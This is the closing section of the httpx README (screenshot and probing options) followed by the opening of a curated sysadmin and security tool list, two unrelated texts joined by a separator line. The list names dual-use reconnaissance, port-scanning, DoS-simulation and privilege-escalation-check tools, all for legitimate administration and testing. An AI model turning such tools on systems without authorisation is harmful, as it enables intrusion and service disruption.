The `-screenshot` option is versatile and can be used to capture screenshots for domains, subdomains, and even specific paths when used in conjunction with the `-path` option:
```console
httpx -screenshot -u example.com
httpx -screenshot -u https://example.com/login
httpx -screenshot -path fuzz_path.txt -u https://example.com
```
Using with other tools:
```console
subfinder -d example.com | httpx -screenshot
```
#### 🌐 System Chrome
By default, httpx will use the go-rod library to install and manage Chrome for taking screenshots. However, if you prefer to use your locally installed system Chrome, add the `-system-chrome` flag:
```console
httpx -screenshot -system-chrome -u https://example.com
```
#### 📁 Output Directory
Screenshots are stored in the output/screenshot directory by default. To specify a custom output directory, use the `-srd` option:
```console
httpx -screenshot -srd /path/to/custom/directory -u https://example.com
```
#### ⏳ Performance Considerations
Please note that since screenshots are captured using a headless browser, httpx runs will be slower when using the `-screenshot` option.
### Using `httpx` as a library
`httpx` can be used as a library by creating an instance of the `Option` struct and populating it with the same options that would be specified via CLI. Once validated, the struct should be passed to a runner instance (to be closed at the end of the program) and the `RunEnumeration` method should be called. A minimal example of how to do it is in the [examples](examples/) folder
# Notes
- As default, `httpx` probe with **HTTPS** scheme and fall-back to **HTTP** only if **HTTPS** is not reachable.
- The `-no-fallback` flag can be used to probe and display both **HTTP** and **HTTPS** result.
- Custom scheme for ports can be defined, for example `-ports http:443,http:80,https:8443`
- Custom resolver supports multiple protocol (**doh|tcp|udp**) in form of `protocol:resolver:port` (e.g. `udp:127.0.0.1:53`)
- The following flags should be used for specific use cases instead of running them as default with other probes:
- `-ports`
- `-path`
- `-vhost`
- `-screenshot`
- `-csp-probe`
- `-tls-probe`
- `-favicon`
- `-http2`
- `-pipeline`
- `-tls-impersonate`
# Acknowledgement
Probing feature is inspired by [@tomnomnom/httprobe](https://github.com/tomnomnom/httprobe) work ❤️
--------
<div align="center">
`httpx` is made with 💙 by the [projectdiscovery](https://projectdiscovery.io) team and distributed under [MIT License](LICENSE.md).
<a href="https://discord.gg/projectdiscovery"><img src="https://raw.githubusercontent.com/projectdiscovery/nuclei-burp-plugin/main/static/join-discord.png" width="300" alt="Join Discord"></a>
</div>
|
<p align="center">
<a href="https://github.com/trimstray/the-book-of-secret-knowledge">
<img src="https://github.com/trimstray/the-book-of-secret-knowledge/blob/master/static/img/the-book-of-secret-knowledge-preview.png" alt="Master">
</a>
</p>
<p align="center">"<i>Knowledge is powerful, be careful how you use it!</i>"</p>
<h4 align="center">A collection of inspiring lists, manuals, cheatsheets, blogs, hacks, one-liners, cli/web tools, and more.</h4>
<br>
<p align="center">
<a href="https://github.com/trimstray/the-book-of-secret-knowledge/pulls">
<img src="https://img.shields.io/badge/PRs-welcome-brightgreen.svg?longCache=true" alt="Pull Requests">
</a>
<a href="LICENSE.md">
<img src="https://img.shields.io/badge/License-MIT-lightgrey.svg?longCache=true" alt="MIT License">
</a>
</p>
<p align="center">
<a href="https://twitter.com/trimstray" target="_blank">
<img src="https://img.shields.io/twitter/follow/trimstray.svg?logo=twitter">
</a>
</p>
<div align="center">
<sub>Created by
<a href="https://twitter.com/trimstray">trimstray</a> and
<a href="https://github.com/trimstray/the-book-of-secret-knowledge/graphs/contributors">contributors</a>
</div>
<br>
****
## :notebook_with_decorative_cover: What is it?
This repository is a collection of various materials and tools that I use every day in my work. It contains a lot of useful information gathered in one piece. It is an invaluable source of knowledge for me that I often look back on.
## :restroom: For whom?
For everyone, really. Here everyone can find their favourite tastes. But to be perfectly honest, it is aimed towards System and Network administrators, DevOps, Pentesters, and Security Researchers.
## :information_source: Contributing
If you find something which doesn't make sense, or something doesn't seem right, please make a pull request and please add valid and well-reasoned explanations about your changes or comments.
A few simple rules for this project:
- inviting and clear
- not tiring
- useful
These below rules may be better:
- easy to contribute to (Markdown + HTML ...)
- easy to find (simple TOC, maybe it's worth extending them?)
Url marked **\*** is temporary unavailable. Please don't delete it without confirming that it has permanently expired.
Before adding a pull request, please see the **[contributing guidelines](.github/CONTRIBUTING.md)**. You should also remember about this:
```diff
+ This repository is not meant to contain everything but only good quality stuff.
```
All **suggestions/PR** are welcome!
### Code Contributors
This project exists thanks to all the people who contribute.
<a href="https://github.com/trimstray/the-book-of-secret-knowledge/graphs/contributors"><img src="https://opencollective.com/the-book-of-secret-knowledge/contributors.svg?width=890&button=false"></a>
### Financial Contributors
<p align="left">
<a href="https://opencollective.com/the-book-of-secret-knowledge" alt="Financial Contributors on Open Collective">
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</a>
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<img src="https://img.shields.io/opencollective/sponsors/the-book-of-secret-knowledge?style=for-the-badge&color=FF4500&labelColor=A9A9A9"></a>
</a>
</p>
## :gift_heart: Support
If this project is useful and important for you or if you really like _the-book-of-secret-knowledge_, you can bring **positive energy** by giving some **good words** or **supporting this project**. Thank you!
## :newspaper: RSS Feed & Updates
GitHub exposes an [RSS/Atom](https://github.com/trimstray/the-book-of-secret-knowledge/commits.atom) feed of the commits, which may also be useful if you want to be kept informed about all changes.
## :ballot_box_with_check: ToDo
- [ ] Add new stuff...
- [ ] Add useful shell functions
- [ ] Add one-liners for collection tools (eg. CLI Tools)
- [ ] Sort order in lists
New items are also added on a regular basis.
## :anger: Table of Contents
Only main chapters:
- **[CLI Tools](#cli-tools-toc)**
- **[GUI Tools](#gui-tools-toc)**
- **[Web Tools](#web-tools-toc)**
- **[Systems/Services](#systemsservices-toc)**
- **[Networks](#networks-toc)**
- **[Containers/Orchestration](#containersorchestration-toc)**
- **[Manuals/Howtos/Tutorials](#manualshowtostutorials-toc)**
- **[Inspiring Lists](#inspiring-lists-toc)**
- **[Blogs/Podcasts/Videos](#blogspodcastsvideos-toc)**
- **[Hacking/Penetration Testing](#hackingpenetration-testing-toc)**
- **[Your daily knowledge and news](#your-daily-knowledge-and-news-toc)**
- **[Other Cheat Sheets](#other-cheat-sheets-toc)**
- **[One-liners](#one-liners-toc)**
- **[Shell functions](#shell-functions-toc)**
## :trident: The Book of Secret Knowledge (Chapters)
#### CLI Tools [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: Shells
<p>
:small_orange_diamond: <a href="https://www.gnu.org/software/bash/"><b>GNU Bash</b></a> - is an sh-compatible shell that incorporates useful features from the Korn shell and C shell.<br>
:small_orange_diamond: <a href="https://www.zsh.org/"><b>Zsh</b></a> - is a shell designed for interactive use, although it is also a powerful scripting language.<br>
:small_orange_diamond: <a href="https://tcl-lang.org/"><b>tclsh</b></a> - is a very powerful cross-platform shell, suitable for a huge range of uses.<br>
:small_orange_diamond: <a href="https://github.com/Bash-it/bash-it"><b>bash-it</b></a> - is a framework for using, developing and maintaining shell scripts and custom commands.<br>
:small_orange_diamond: <a href="https://ohmyz.sh/"><b>Oh My ZSH!</b></a> - is the best framework for managing your Zsh configuration.<br>
:small_orange_diamond: <a href="https://github.com/oh-my-fish/oh-my-fish"><b>Oh My Fish</b></a> - the Fishshell framework.<br>
:small_orange_diamond: <a href="https://github.com/starship/starship"><b>Starship</b></a> - the cross-shell prompt written in Rust.<br>
:small_orange_diamond: <a href="https://github.com/romkatv/powerlevel10k"><b>powerlevel10k</b></a> - is a fast reimplementation of Powerlevel9k ZSH theme.<br>
</p>
##### :black_small_square: Shell plugins
<p>
:small_orange_diamond: <a href="https://github.com/rupa/z"><b>z</b></a> - tracks the folder you use the most and allow you to jump, without having to type the whole path.<br>
:small_orange_diamond: <a href="https://github.com/junegunn/fzf"><b>fzf</b></a> - is a general-purpose command-line fuzzy finder.<br>
:small_orange_diamond: <a href="https://github.com/zsh-users/zsh-autosuggestions"><b>zsh-autosuggestions</b></a> - Fish-like autosuggestions for Zsh.<br>
:small_orange_diamond: <a href="https://github.com/zsh-users/zsh-syntax-highlighting"><b>zsh-syntax-highlighting</b></a> - Fish shell like syntax highlighting for Zsh.<br>
:small_orange_diamond: <a href="https://github.com/unixorn/awesome-zsh-plugins"><b>Awesome ZSH Plugins</b></a> - A list of frameworks, plugins, themes and tutorials for ZSH.<br>
</p>
##### :black_small_square: Managers
<p>
:small_orange_diamond: <a href="https://midnight-commander.org/"><b>Midnight Commander</b></a> - is a visual file manager, licensed under GNU General Public License.<br>
:small_orange_diamond: <a href="https://github.com/ranger/ranger"><b>ranger</b></a> - is a VIM-inspired filemanager for the console.<br>
:small_orange_diamond: <a href="https://github.com/jarun/nnn"><b>nnn</b></a> - is a tiny, lightning fast, feature-packed file manager.<br>
:small_orange_diamond: <a href="https://www.gnu.org/software/screen/"><b>screen</b></a> - is a full-screen window manager that multiplexes a physical terminal.<br>
:small_orange_diamond: <a href="https://github.com/tmux/tmux/wiki"><b>tmux</b></a> - is a terminal multiplexer, lets you switch easily between several programs in one terminal.<br>
:small_orange_diamond: <a href="https://github.com/peikk0/tmux-cssh"><b>tmux-cssh</b></a> - is a tool to set comfortable and easy to use functionality, clustering and synchronizing tmux-sessions.<br>
</p>
##### :black_small_square: Text editors
<p>
:small_orange_diamond: <a href="http://ex-vi.sourceforge.net/"><b>vi</b></a> - is one of the most common text editors on Unix.<br>
:small_orange_diamond: <a href="https://www.vim.org/"><b>vim</b></a> - is a highly configurable text editor.<br>
:small_orange_diamond: <a href="https://www.gnu.org/software/emacs/"><b>emacs</b></a> - is an extensible, customizable, free/libre text editor, and more.<br>
:small_orange_diamond: <a href="https://github.com/zyedidia/micro"><b>micro</b></a> - is a modern and intuitive terminal-based text editor.<br>
:small_orange_diamond: <a href="https://neovim.io/"><b>neovim</b></a> - is a free open source, powerful, extensible and usable code editor.<br>
:small_orange_diamond: <a href="https://www.spacemacs.org/"><b>spacemacs</b></a> - a community-driven Emacs distribution.<br>
:small_orange_diamond: <a href="https://spacevim.org/"><b>spacevim</b></a> - a community-driven vim distribution.<br>
</p>
##### :black_small_square: Files and directories
<p>
:small_orange_diamond: <a href="https://github.com/sharkdp/fd"><b>fd</b></a> - is a simple, fast and user-friendly alternative to find.<br>
:small_orange_diamond: <a href="https://dev.yorhel.nl/ncdu"><b>ncdu</b></a> - is an easy to use, fast disk usage analyzer.<br>
</p>
##### :black_small_square: Network
<p>
:small_orange_diamond: <a href="https://www.putty.org/"><b>PuTTY</b></a> - is an SSH and telnet client, developed originally by Simon Tatham.<br>
:small_orange_diamond: <a href="https://mosh.org/"><b>Mosh</b></a> - is a SSH wrapper designed to keep a SSH session alive over a volatile connection.<br>
:small_orange_diamond: <a href="https://eternalterminal.dev/"><b>Eternal Terminal</b></a> - enables mouse-scrolling and tmux commands inside the SSH session.<br>
:small_orange_diamond: <a href="https://nmap.org/"><b>nmap</b></a> - is a free and open source (license) utility for network discovery and security auditing.<br>
:small_orange_diamond: <a href="https://github.com/zmap/zmap"><b>zmap</b></a> - is a fast single packet network scanner designed for Internet-wide network surveys.<br>
:small_orange_diamond: <a href="https://github.com/RustScan/RustScan"><b>Rust Scan</b></a> - to find all open ports faster than Nmap.<br>
:small_orange_diamond: <a href="https://github.com/robertdavidgraham/masscan"><b>masscan</b></a> - is the fastest Internet port scanner, spews SYN packets asynchronously.<br>
:small_orange_diamond: <a href="https://github.com/gvb84/pbscan"><b>pbscan</b></a> - is a faster and more efficient stateless SYN scanner and banner grabber.<br>
:small_orange_diamond: <a href="http://www.hping.org/"><b>hping</b></a> - is a command-line oriented TCP/IP packet assembler/analyzer.<br>
:small_orange_diamond: <a href="https://github.com/traviscross/mtr"><b>mtr</b></a> - is a tool that combines the functionality of the 'traceroute' and 'ping' programs in a single tool.<br>
:small_orange_diamond: <a href="https://github.com/mehrdadrad/mylg"><b>mylg</b></a> - utility which combines the functions of the different network probes in one diagnostic tool.<br>
:small_orange_diamond: <a href="http://netcat.sourceforge.net/"><b>netcat</b></a> - utility which reads and writes data across network connections, using the TCP/IP protocol.<br>
:small_orange_diamond: <a href="https://www.tcpdump.org/"><b>tcpdump</b></a> - is a powerful command-line packet analyzer.<br>
:small_orange_diamond: <a href="https://www.wireshark.org/docs/man-pages/tshark.html"><b>tshark</b></a> - is a tool that allows us to dump and analyze network traffic (wireshark cli).<br>
:small_orange_diamond: <a href="https://termshark.io/"><b>Termshark</b></a> - is a simple terminal user-interface for tshark.<br>
:small_orange_diamond: <a href="https://github.com/jpr5/ngrep"><b>ngrep</b></a> - is like GNU grep applied to the network layer.<br>
:small_orange_diamond: <a href="http://netsniff-ng.org/"><b>netsniff-ng</b></a> - is a Swiss army knife for your daily Linux network plumbing if you will.<br>
:small_orange_diamond: <a href="https://github.com/mechpen/sockdump"><b>sockdump</b></a> - dump unix domain socket traffic.<br>
:small_orange_diamond: <a href="https://github.com/google/stenographer"><b>stenographer</b></a> - is a packet capture solution which aims to quickly spool all packets to disk.<br>
:small_orange_diamond: <a href="https://github.com/sachaos/tcpterm"><b>tcpterm</b></a> - visualize packets in TUI.<br>
:small_orange_diamond: <a href="https://github.com/tgraf/bmon"><b>bmon</b></a> - is a monitoring and debugging tool to capture networking related statistics and prepare them visually.<br>
:small_orange_diamond: <a href="http://iptraf.seul.org/2.6/manual.html#installation"><b>iptraf-ng</b></a> - is a console-based network monitoring program for Linux that displays information about IP traffic.<br>
:small_orange_diamond: <a href="https://github.com/vergoh/vnstat"><b>vnstat</b></a> - is a network traffic monitor for Linux and BSD.<br>
:small_orange_diamond: <a href="https://iperf.fr/"><b>iPerf3</b></a> - is a tool for active measurements of the maximum achievable bandwidth on IP networks.<br>
:small_orange_diamond: <a href="https://github.com/Microsoft/Ethr"><b>ethr</b></a> - is a Network Performance Measurement Tool for TCP, UDP & HTTP.<br>
:small_orange_diamond: <a href="https://github.com/jwbensley/Etherate"><b>Etherate</b></a> - is a Linux CLI based Ethernet and MPLS traffic testing tool.<br>
:small_orange_diamond: <a href="https://github.com/mpolden/echoip"><b>echoip</b></a> - is a IP address lookup service.<br>
:small_orange_diamond: <a href="https://github.com/troglobit/nemesis"><b>Nemesis</b></a> - packet manipulation CLI tool; craft and inject packets of several protocols.<br>
:small_orange_diamond: <a href="https://github.com/packetfu/packetfu"><b>packetfu</b></a> - a mid-level packet manipulation library for Ruby.<br>
:small_orange_diamond: <a href="https://scapy.net/"><b>Scapy</b></a> - packet manipulation library; forge, send, decode, capture packets of a wide number of protocols.<br>
:small_orange_diamond: <a href="https://github.com/SecureAuthCorp/impacket"><b>impacket</b></a> - is a collection of Python classes for working with network protocols.<br>
:small_orange_diamond: <a href="https://github.com/arthepsy/ssh-audit"><b>ssh-audit</b></a> - is a tool for SSH server auditing.<br>
:small_orange_diamond: <a href="https://aria2.github.io/"><b>aria2</b></a> - is a lightweight multi-protocol & multi-source command-line download utility.<br>
:small_orange_diamond: <a href="https://github.com/x-way/iptables-tracer"><b>iptables-tracer</b></a> - observe the path of packets through the iptables chains.<br>
:small_orange_diamond: <a href="https://github.com/proabiral/inception"><b>inception</b></a> - a highly configurable tool to check for whatever you like against any number of hosts.<br>
</p>
##### :black_small_square: Network (DNS)
<p>
:small_orange_diamond: <a href="https://github.com/farrokhi/dnsdiag"><b>dnsdiag</b></a> - is a DNS diagnostics and performance measurement tools.<br>
:small_orange_diamond: <a href="https://github.com/mschwager/fierce"><b>fierce</b></a> - is a DNS reconnaissance tool for locating non-contiguous IP space.<br>
:small_orange_diamond: <a href="https://github.com/subfinder/subfinder"><b>subfinder</b></a> - is a subdomain discovery tool that discovers valid subdomains for websites.<br>
:small_orange_diamond: <a href="https://github.com/aboul3la/Sublist3r"><b>sublist3r</b></a> - is a fast subdomains enumeration tool for penetration testers.<br>
:small_orange_diamond: <a href="https://github.com/OWASP/Amass"><b>amass</b></a> - is tool that obtains subdomain names by scraping data sources, crawling web archives, and more.<br>
:small_orange_diamond: <a href="https://github.com/google/namebench"><b>namebench</b></a> - provides personalized DNS server recommendations based on your browsing history.<br>
:small_orange_diamond: <a href="https://github.com/blechschmidt/massdns"><b>massdns</b></a> - is a high-performance DNS stub resolver for bulk lookups and reconnaissance.<br>
:small_orange_diamond: <a href="https://github.com/guelfoweb/knock"><b>knock</b></a> - is a tool to enumerate subdomains on a target domain through a wordlist.<br>
:small_orange_diamond: <a href="https://github.com/DNS-OARC/dnsperf"><b>dnsperf</b></a> - DNS performance testing tools.<br>
:small_orange_diamond: <a href="https://github.com/jedisct1/dnscrypt-proxy"><b>dnscrypt-proxy 2</b></a> - a flexible DNS proxy, with support for encrypted DNS protocols.<br>
:small_orange_diamond: <a href="https://github.com/dnsdb/dnsdbq"><b>dnsdbq</b></a> - API client providing access to passive DNS database systems.<br>
:small_orange_diamond: <a href="https://github.com/looterz/grimd"><b>grimd</b></a> - fast dns proxy, built to black-hole internet advertisements and malware servers.<br>
</p>
##### :black_small_square: Network (HTTP)
<p>
:small_orange_diamond: <a href="https://curl.haxx.se/"><b>curl</b></a> - is a command line tool and library for transferring data with URLs.<br>
:small_orange_diamond: <a href="https://gitlab.com/davidjpeacock/kurly"><b>kurly</b></a> - is an alternative to the widely popular curl program, written in Golang.<br>
:small_orange_diamond: <a href="https://github.com/jakubroztocil/httpie"><b>HTTPie</b></a> - is an user-friendly HTTP client.<br>
:small_orange_diamond: <a href="https://github.com/asciimoo/wuzz"><b>wuzz</b></a> - is an interactive cli tool for HTTP inspection.<br>
:small_orange_diamond: <a href="https://github.com/summerwind/h2spec"><b>h2spec</b></a> - is a conformance testing tool for HTTP/2 implementation.<br>
:small_orange_diamond: <a href="https://github.com/gildasio/h2t"><b>h2t</b></a> - is a simple tool to help sysadmins to hardening their websites.<br>
:small_orange_diamond: <a href="https://github.com/trimstray/htrace.sh"><b>htrace.sh</b></a> - is a simple Swiss Army knife for http/https troubleshooting and profiling.<br>
:small_orange_diamond: <a href="https://github.com/reorx/httpstat"><b>httpstat</b></a> - is a tool that visualizes curl statistics in a way of beauty and clarity.<br>
:small_orange_diamond: <a href="https://github.com/gchaincl/httplab"><b>httplab</b></a> - is an interactive web server.<br>
:small_orange_diamond: <a href="https://lynx.browser.org/"><b>Lynx</b></a> - is a text browser for the World Wide Web.<br>
:small_orange_diamond: <a href="https://github.com/browsh-org/browsh/"><b>Browsh</b></a> - is a fully interactive, real-time, and modern text-based browser.<br>
:small_orange_diamond: <a href="https://github.com/dhamaniasad/HeadlessBrowsers"><b>HeadlessBrowsers</b></a> - a list of (almost) all headless web browsers in existence.<br>
:small_orange_diamond: <a href="https://httpd.apache.org/docs/2.4/programs/ab.html"><b>ab</b></a> - is a single-threaded command line tool for measuring the performance of HTTP web servers.<br>
:small_orange_diamond: <a href="https://www.joedog.org/siege-home/"><b>siege</b></a> - is an http load testing and benchmarking utility.<br>
:small_orange_diamond: <a href="https://github.com/wg/wrk"><b>wrk</b></a> - is a modern HTTP benchmarking tool capable of generating significant load.<br>
:small_orange_diamond: <a href="https://github.com/giltene/wrk2"><b>wrk2</b></a> - is a constant throughput, correct latency recording variant of wrk.<br>
:small_orange_diamond: <a href="https://github.com/tsenart/vegeta"><b>vegeta</b></a> - is a constant throughput, correct latency recording variant of wrk.<br>
:small_orange_diamond: <a href="https://github.com/codesenberg/bombardier"><b>bombardier</b></a> - is a fast cross-platform HTTP benchmarking tool written in Go.<br>
:small_orange_diamond: <a href="https://github.com/cmpxchg16/gobench"><b>gobench</b></a> - http/https load testing and benchmarking tool.<br>
:small_orange_diamond: <a href="https://github.com/rakyll/hey"><b>hey</b></a> - HTTP load generator, ApacheBench (ab) replacement, formerly known as rakyll/boom.<br>
:small_orange_diamond: <a href="https://github.com/tarekziade/boom"><b>boom</b></a> - is a script you can use to quickly smoke-test your web app deployment.<br>
:small_orange_diamond: <a href="https://github.com/shekyan/slowhttptest"><b>SlowHTTPTest</b></a> - is a tool that simulates some Application Layer Denial of Service attacks by prolonging HTTP.<br>
:small_orange_diamond: <a href="https://github.com/OJ/gobuster"><b>gobuster</b></a> - is a free and open source directory/file & DNS busting tool written in Go.<br>
:small_orange_diamond: <a href="https://github.com/ssllabs/ssllabs-scan"><b>ssllabs-scan</b></a> - command-line reference-implementation client for SSL Labs APIs.<br>
:small_orange_diamond: <a href="https://github.com/mozilla/http-observatory"><b>http-observatory</b></a> - Mozilla HTTP Observatory cli version.<br>
</p>
##### :black_small_square: SSL
<p>
:small_orange_diamond: <a href="https://www.openssl.org/"><b>openssl</b></a> - is a robust, commercial-grade, and full-featured toolkit for the TLS and SSL protocols.<br>
:small_orange_diamond: <a href="https://gnutls.org/manual/html_node/gnutls_002dcli-Invocation.html"><b>gnutls-cli</b></a> - client program to set up a TLS connection to some other computer.<br>
:small_orange_diamond: <a href="https://github.com/nabla-c0d3/sslyze"><b>sslyze
</b></a> - fast and powerful SSL/TLS server scanning library.<br>
:small_orange_diamond: <a href="https://github.com/rbsec/sslscan"><b>sslscan</b></a> - tests SSL/TLS enabled services to discover supported cipher suites.<br>
:small_orange_diamond: <a href="https://github.com/drwetter/testssl.sh"><b>testssl.sh</b></a> - testing TLS/SSL encryption anywhere on any port.<br>
:small_orange_diamond: <a href="https://github.com/mozilla/cipherscan"><b>cipherscan</b></a> - a very simple way to find out which SSL ciphersuites are supported by a target.<br>
:small_orange_diamond: <a href="http://www.tarsnap.com/spiped.html"><b>spiped</b></a> - is a utility for creating symmetrically encrypted and authenticated pipes between socket addresses.<br>
:small_orange_diamond: <a href="https://github.com/certbot/certbot"><b>Certbot</b></a> - is EFF's tool to obtain certs from Let's Encrypt and (optionally) auto-enable HTTPS on your server.<br>
:small_orange_diamond: <a href="https://github.com/FiloSottile/mkcert"><b>mkcert</b></a> - simple zero-config tool to make locally trusted development certificates with any names you'd like.<br>
:small_orange_diamond: <a href="https://github.com/square/certstrap"><b>certstrap</b></a> - tools to bootstrap CAs, certificate requests, and signed certificates.<br>
:small_orange_diamond: <a href="https://github.com/yassineaboukir/sublert"><b>Sublert</b></a> - is a security and reconnaissance tool to automatically monitor new subdomains.<br>
:small_orange_diamond: <a href="https://github.com/trimstray/mkchain"><b>mkchain</b></a> - open source tool to help you build a valid SSL certificate chain.<br>
</p>
##### :black_small_square: Security
<p>
:small_orange_diamond: <a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/5/html/deployment_guide/ch-selinux"><b>SELinux</b></a> - provides a flexible Mandatory Access Control (MAC) system built into the Linux kernel.<br>
:small_orange_diamond: <a href="https://wiki.ubuntu.com/AppArmor"><b>AppArmor</b></a> - proactively protects the operating system and applications from external or internal threats.<br>
:small_orange_diamond: <a href="https://github.com/grapheneX/grapheneX"><b>grapheneX</b></a> - Automated System Hardening Framework.<br>
:small_orange_diamond: <a href="https://github.com/dev-sec/"><b>DevSec Hardening Framework</b></a> - Security + DevOps: Automatic Server Hardening.<br>
</p>
##### :black_small_square: Auditing Tools
<p>
:small_orange_diamond: <a href="https://www.ossec.net/"><b>ossec</b></a> - actively monitoring all aspects of system activity with file integrity monitoring.<br>
:small_orange_diamond: <a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"><b>auditd</b></a> - provides a way to track security-relevant information on your system.<br>
:small_orange_diamond: <a href="https://www.nongnu.org/tiger/"><b>Tiger</b></a> - is a security tool that can be use both as a security audit and intrusion detection system.<br>
:small_orange_diamond: <a href="https://cisofy.com/lynis/"><b>Lynis</b></a> - battle-tested security tool for systems running Linux, macOS, or Unix-based operating system.<br>
:small_orange_diamond: <a href="https://github.com/rebootuser/LinEnum"><b>LinEnum</b></a> - scripted Local Linux Enumeration & Privilege Escalation Checks.<br>
:small_orange_diamond: <a href="https://github.com/installation/rkhunter"><b>Rkhunter</b></a> - scanner tool for Linux systems that scans backdoors, rootkits and local exploits on your systems.<br>
:small_orange_diamond: <a href="https://github.com/hasherezade/pe-sieve"><b>PE-sieve</b></a> - is a light-weight tool that helps to detect malware running on the system.<br>
</p>
##### :black_small_square: System Diagnostics/Debuggers
<p>
:small_orange_diamond: <a href="https://github.com/strace/strace"><b>strace</b></a> - diagnostic, debugging and instructional userspace utility for Linux.<br>
:small_orange_diamond: <a href="http://dtrace.org/blogs/about/"><b>DTrace</b></a> - is a performance analysis and troubleshooting tool.<br>
:small_orange_diamond: <a href="https://en.wikipedia.org/wiki/Ltrace"><b>ltrace</b></a> - is a library call tracer, used to trace calls made by programs to library functions.<br>
:small_orange_diamond: <a href="https://github.com/brainsmoke/ptrace-burrito"><b>ptrace-burrito</b></a> - is a friendly wrapper around ptrace.<br>
:small_orange_diamond: <a href="https://github.com/brendangregg/perf-tools"><b>perf-tools</b></a> - performance analysis tools based on Linux perf_events (aka perf) and ftrace.<br>
:small_orange_diamond: <a href="https://github.com/iovisor/bpftrace"><b>bpftrace</b></a> - high-level tracing language for Linux eBPF.<br>
:small_orange_diamond: <a href="https://github.com/draios/sysdig"><b>sysdig</b></a> - system exploration and troubleshooting tool with first class support for containers.<br>
:small_orange_diamond: <a href="http://www.valgrind.org/"><b>Valgrind</b></a> - is an instrumentation framework for building dynamic analysis tools.<br>
:small_orange_diamond: <a href="https://github.com/gperftools/gperftools"><b>gperftools</b></a> - high-performance multi-threaded malloc() implementation, plus some performance analysis tools.<br>
:small_orange_diamond: <a href="https://nicolargo.github.io/glances/"><b>glances</b></a> - cross-platform system monitoring tool written in Python.<br>
:small_orange_diamond: <a href="https://github.com/hishamhm/htop"><b>htop</b></a> - interactive text-mode process viewer for Unix systems. It aims to be a better 'top'.<br>
:small_orange_diamond: <a href="https://github.com/aristocratos/bashtop"><b>bashtop</b></a> - Linux resource monitor written in pure Bash.<br>
:small_orange_diamond: <a href="http://nmon.sourceforge.net/pmwiki.php"><b>nmon</b></a> - a single executable for performance monitoring and data analysis.<br>
:small_orange_diamond: <a href="https://www.atoptool.nl/"><b>atop</b></a> - ASCII performance monitor. Includes statistics for CPU, memory, disk, swap, network, and processes.<br>
:small_orange_diamond: <a href="https://en.wikipedia.org/wiki/Lsof"><b>lsof</b></a> - displays in its output information about files that are opened by processes.<br>
:small_orange_diamond: <a href="http://www.brendangregg.com/flamegraphs.html"><b>FlameGraph</b></a> - stack trace visualizer.<br>
:small_orange_diamond: <a href="https://github.com/zevv/lsofgraph"><b>lsofgraph</b></a> - convert Unix lsof output to a graph showing FIFO and UNIX interprocess communication.<br>
:small_orange_diamond: <a href="https://github.com/mozilla/rr"><b>rr</b></a> - is a lightweight tool for recording, replaying and debugging execution of applications.<br>
:small_orange_diamond: <a href="https://pcp.io/index.html"><b>Performance Co-Pilot</b></a> - a system performance analysis toolkit.<br>
:small_orange_diamond: <a href="https://github.com/sharkdp/hexyl"><b>hexyl</b></a> - a command-line hex viewer.<br>
</p>
##### :black_small_square: Log Analyzers
<p>
:small_orange_diamond: <a href="https://github.com/rcoh/angle-grinder"><b>angle-grinder</b></a> - slice and dice log files on the command line.<br>
:small_orange_diamond: <a href="https://lnav.org"><b>lnav</b></a> - log file navigator with search and automatic refresh.<br>
:small_orange_diamond: <a href="https://goaccess.io/"><b>GoAccess</b></a> - real-time web log analyzer and interactive viewer that runs in a terminal.<br>
:small_orange_diamond: <a href="https://github.com/lebinh/ngxtop"><b>ngxtop</b></a> - real-time metrics for nginx server.<br>
</p>
##### :black_small_square: Databases
<p>
:small_orange_diamond: <a href="https://github.com/xo/usql"><b>usql</b></a> - universal command-line interface for SQL databases.<br>
:small_orange_diamond: <a href="https://github.com/dbcli/pgcli"><b>pgcli</b></a> - postgres CLI with autocompletion and syntax highlighting.<br>
:small_orange_diamond: <a href="https://github.com/dbcli/mycli"><b>mycli</b></a> - terminal client for MySQL with autocompletion and syntax highlighting.<br>
:small_orange_diamond: <a href="https://github.com/dbcli/litecli"><b>litecli</b></a> - SQLite CLI with autocompletion and syntax highlighting.<br>
:small_orange_diamond: <a href="https://github.com/osquery/osquery"><b>OSQuery</b></a> - is a SQL powered operating system instrumentation, monitoring, and analytics framework.<br>
:small_orange_diamond: <a href="https://github.com/ankane/pgsync"><b>pgsync</b></a> - sync data from one Postgres database to another.<br>
:small_orange_diamond: <a href="https://github.com/laixintao/iredis"><b>iredis</b></a> - a terminal client for redis with autocompletion and syntax highlighting.<br>
</p>
##### :black_small_square: TOR
<p>
:small_orange_diamond: <a href="https://github.com/GouveaHeitor/nipe"><b>Nipe</b></a> - script to make Tor Network your default gateway.<br>
:small_orange_diamond: <a href="https://github.com/trimstray/multitor"><b>multitor</b></a> - a tool that lets you create multiple TOR instances with a load-balancing.<br>
</p>
##### :black_small_square: Messengers/IRC Clients
<p>
:small_orange_diamond: <a href="https://irssi.org"><b>Irssi</b></a> - is a free open source terminal based IRC client.<br>
:small_orange_diamond: <a href="https://weechat.org/"><b>WeeChat</b></a> - is an extremely extensible and lightweight IRC client.<br>
</p>
##### :black_small_square: Other
<p>
:small_orange_diamond: <a href="https://github.com/skx/sysadmin-util"><b>sysadmin-util</b></a> - tools for Linux/Unix sysadmins.<br>
:small_orange_diamond: <a href="http://inotify.aiken.cz/"><b>incron</b></a> - is an inode-based filesystem notification technology.<br>
:small_orange_diamond: <a href="https://github.com/axkibe/lsyncd"><b>lsyncd</b></a> - synchronizes local directories with remote targets (Live Syncing Daemon).<br>
:small_orange_diamond: <a href="https://github.com/rgburke/grv"><b>GRV</b></a> - is a terminal based interface for viewing Git repositories.<br>
:small_orange_diamond: <a href="https://jonas.github.io/tig/"><b>Tig</b></a> - text-mode interface for Git.<br>
:small_orange_diamond: <a href="https://github.com/tldr-pages/tldr"><b>tldr</b></a> - simplified and community-driven man pages.<br>
:small_orange_diamond: <a href="https://github.com/mholt/archiver"><b>archiver</b></a> - easily create and extract .zip, .tar, .tar.gz, .tar.bz2, .tar.xz, .tar.lz4, .tar.sz, and .rar.<br>
:small_orange_diamond: <a href="https://github.com/tj/commander.js"><b>commander.js</b></a> - minimal CLI creator in JavaScript.<br>
:small_orange_diamond: <a href="https://github.com/tomnomnom/gron"><b>gron</b></a> - make JSON greppable!<br>
:small_orange_diamond: <a href="https://github.com/itchyny/bed"><b>bed</b></a> - binary editor written in Go.<br>
</p>
#### GUI Tools [<sup>[TOC]</sup>](#anger-table-of-contents)
